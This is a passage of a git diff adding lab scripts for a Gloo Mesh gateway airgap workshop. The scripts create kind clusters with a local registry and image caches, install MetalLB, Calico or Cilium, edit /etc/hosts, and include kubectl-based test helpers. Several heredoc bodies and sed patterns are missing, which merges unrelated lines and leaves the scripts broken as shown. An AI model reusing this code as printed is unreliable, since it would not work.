"0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null +./istio-*/bin/istioctl --context cluster1 pc all -n istio-gateways deploy/istio-ingressgateway -o json > /tmp/current-output +json-diff /tmp/previous-output /tmp/current-output diff --git a/gloo-mesh/gateway/2-4/airgap/efault/scripts/md-to-bash.sh b/gloo-mesh/gateway/2-4/airgap/efault/scripts/md-to-bash.sh new file mode 100755 index 0000000000..30b6a1f93d --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/scripts/md-to-bash.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash +echo "source /root/.env 2>/dev/null || true" +sed -n '/```bash/,/```/p; //p' | egrep -v '```|' | sed '/#IGNORE_ME/d' diff --git a/gloo-mesh/gateway/2-4/airgap/efault/scripts/register-domain.sh b/gloo-mesh/gateway/2-4/airgap/efault/scripts/register-domain.sh new file mode 100755 index 0000000000..903bd0b714 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/scripts/register-domain.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash + +# Check if the correct number of arguments is provided +if [ "$#" -ne 2 ]; then + echo "Usage: $0 " + exit 1 +fi + +# Variables +hostname="$1" +new_ip="$2" +hosts_file="/etc/hosts" + +# Check if the entry already exists +if grep -q "$hostname" "$hosts_file"; then + # Update the existing entry with the new IP + tempfile=$(mktemp) + sed "s/^.*$hostname/$new_ip $hostname/" "$hosts_file" > $tempfile + sudo mv "$tempfile" "$hosts_file" + echo "Updated $hostname in $hosts_file with new IP: $new_ip" +else + # Add a new entry if it doesn't exist + echo "$new_ip $hostname" | sudo tee -a "$hosts_file" > /dev/null + echo "Added $hostname to $hosts_file with IP: $new_ip" +fi diff --git a/gloo-mesh/gateway/2-4/airgap/efault/scripts/snapdiff.sh b/gloo-mesh/gateway/2-4/airgap/efault/scripts/snapdiff.sh new file mode 100755 index 0000000000..51786826eb --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/scripts/snapdiff.sh @@ -0,0 +1,6 @@ +mv /tmp/current-output /tmp/previous-output 2>/dev/null +pod=$(kubectl --context ${MGMT} -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${MGMT} -n gloo-mesh debug -q -i ${pod} --image=curlimages/curl -- curl -s http://localhost:9091/snapshots/output | jq '.translator | . as $root | ($root | keys[]) as $namespace | ($root[$namespace] | keys[]) as $parent | if $root[$namespace][$parent].Outputs then (($root[$namespace][$parent].Outputs | keys[]) as $object | ($object | split(",")) as $arr | {apiVersion: $arr[0], kind: ($arr[1] |split("=")[1])} + $root[$namespace][$parent].Outputs[$object][]) else empty end' | jq --slurp > /tmp/current-output +array1=$(cat /tmp/previous-output | jq -e '') +array2=$(cat /tmp/current-output | jq -e '') +jq -n --argjson array1 "$array1" --argjson array2 "$array2" '{"array1": $array1,"array2":$array2} | .array2-.array1' | docker run -i --rm mikefarah/yq -P '.' \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/efault/tests/can-resolve.test.js.liquid b/gloo-mesh/gateway/2-4/airgap/efault/tests/can-resolve.test.js.liquid new file mode 100644 index 0000000000..7d1163da97 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/tests/can-resolve.test.js.liquid @@ -0,0 +1,17 @@ +const dns = require('dns'); +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const { waitOnFailedTest } = require('./tests/utils'); + +afterEach(function(done) { waitOnFailedTest(done, this.currentTest.currentRetry())}); + +describe("Address '" + process.env.{{ to_resolve }} + "' can be resolved in DNS", () => { + it(process.env.{{ to_resolve }} + ' can be resolved', (done) => { + return dns.lookup(process.env.{{ to_resolve }}, (err, address, family) => { + expect(address).to.be.an.ip; + done(); + }); + }); +}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/efault/tests/chai-exec.js b/gloo-mesh/gateway/2-4/airgap/efault/tests/chai-exec.js new file mode 100644 index 0000000000..f454d80bbe --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/tests/chai-exec.js @@ -0,0 +1,110 @@ +const jsYaml = require('js-yaml'); +const deepObjectDiff = require('deep-object-diff'); +const chaiExec = require("@jsdevtools/chai-exec"); +const chai = require("chai"); +const expect = chai.expect; +const should = chai.should(); +chai.use(chaiExec); +const utils = require('./utils'); + +global = { + checkKubernetesObject: async ({ context, namespace, kind, k8sObj, yaml }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + kind + " " + k8sObj + " -o json"; + let cli = chaiExec(command); + let json = jsYaml.load(yaml) + + cli.should.exit.with.code(0); + cli.stderr.should.be.empty; + let data = JSON.parse(cli.stdout); + let diff = deepObjectDiff.detailedDiff(json, data); + let expectedObject = false; + console.log(Object.keys(diff.deleted).length); + if(Object.keys(diff.updated).length === 0 && Object.keys(diff.deleted).length === 0) { + expectedObject = true; + } + expect(expectedObject, "The following object can't be found or is not as expected:\n" + yaml).to.be.true; + }, + checkDeployment: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDeploymentsWithLabels: async ({ context, namespace, labels, instances }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy -l " + labels + " -o jsonpath='{.items}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let deployments = JSON.parse(cli.stdout.slice(1,-1)); + expect(deployments).to.have.lengthOf(instances); + deployments.forEach((deployment) => { + let readyReplicas = deployment.status.readyReplicas || 0; + let replicas = deployment.status.replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + deployment.metadata.name + " in " + context + " not ready..."); + utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }); + }, + checkStatefulSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get sts " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDaemonSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get ds " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).numberReady || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).desiredNumberScheduled; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + k8sObjectIsPresent: ({ context, namespace, k8sType, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + k8sType + " " + k8sObj + " -o name"; + let cli = chaiExec(command); + + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + }, + genericCommand: async ({ command, responseContains="" }) => { + let cli = chaiExec(command); + if (cli.stderr && 